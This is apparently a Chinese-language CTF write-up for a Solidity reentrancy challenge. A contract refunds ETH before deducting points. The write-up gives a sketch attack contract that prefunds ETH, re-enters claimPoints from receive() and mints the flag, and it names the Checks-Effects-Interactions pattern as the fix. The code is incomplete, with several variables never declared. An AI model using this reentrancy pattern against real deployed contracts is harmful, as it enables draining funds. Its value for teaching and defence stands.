Appearance
S2C4: Reentrancy + Payment
1. 问题
合约要求:(1)调用者支付一定数量的 ETH(2)满足特定的积分/等级条件才能 mint flag。合约使用了 call{value: ...} 进行退款。
2. 原因
与 S1C5 类似,合约在积分扣减之前进行外部调用(ETH 转账),导致了重入漏洞。但这次还需要预先存入 ETH。
3. 方案
- 向攻击合约预先转入足够 ETH
- 攻击合约调用挑战合约的支付函数
- 在
receive()回调中重入关键函数 - 满足条件后调用
mintFlag
solidity
contract S2C4Solution {
constructor(address challenge) payable {
// 预存 ETH
challenge.call{value: requiredEth}("");
}
function solve() external {
challenge.claimPoints(); // 触发重入
challenge.upgradeLevel();
challenge.mintFlag();
}
receive() external payable {
if (counter < TARGET) {
counter++;
challenge.claimPoints();
}
}
}
4. 遇到的陷阱
ETH 余额管理: 攻击合约需要预先存入足够的 ETH,且重入过程中要确保有足够 gas。
5. 陷阱的原因
合约使用 call{value: amount}("") 发送 ETH,这会触发接收者的 receive() 函数。如果退款金额不足,后续逻辑可能出错。
6. 如何解决
在部署攻击合约时附带足够的 ETH(使用 --value 标志或在构造函数中 payable)。
7. 技术要点
| 要点 | 说明 |
|---|---|
| 重入 + ETH 支付 | 组合攻击:需要同时处理资金和重入逻辑 |
| payable 构造函数 | 在部署时预存 ETH 到攻击合约 |
| CEI 模式 | Checks-Effects-Interactions 可防止此类攻击 |